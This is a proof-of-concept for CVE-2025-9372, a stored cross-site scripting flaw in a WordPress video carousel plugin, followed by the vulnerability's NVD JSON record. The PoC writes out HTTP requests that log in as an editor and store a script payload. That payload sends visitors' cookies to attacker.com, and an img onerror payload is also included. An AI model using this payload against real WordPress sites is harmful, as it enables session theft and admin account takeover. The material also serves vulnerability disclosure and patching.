CVE-2025-9372

<!-- CVE-2025-9372 PoC - Stored XSS in Ultimate Multi Design Video Carousel Plugin Vulnerable versions: <= 1.4 Required privilege: Editor level Affects: WordPress Multi-site installations or installations with unfiltered_html disabled --> // Step 1: Authenticate as Editor user via WordPress login POST /wp-login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded log=editor_user&pwd=editor_password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1 // Step 2: Inject malicious script via the plugin's input field (e.g., carousel title or description) // The payload is stored in the database without proper sanitization POST /wp-admin/admin.php?page=ultimate-multi-design-video-carousel HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_xxx=xxx action=save_carousel&title=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&description=<img src=x onerror=alert(document.domain)>&video_url=test // Step 3: When any user (including admin) visits the page containing the carousel, // the stored malicious script executes automatically in their browser context. // This can lead to: // - Cookie/session theft // - Admin account takeover via CSRF // - Defacement of the website // - Malware distribution to site visitors

{"cve": {"id": "CVE-2025-9372", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:48.277", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Multi Design Video Carousel plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/ultimate-multi-design-video-carousel/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/91aaf15f-dc47-4f7f-b5f7-aba7c67f7233?source=cve", "source": "[email protected]"}]}}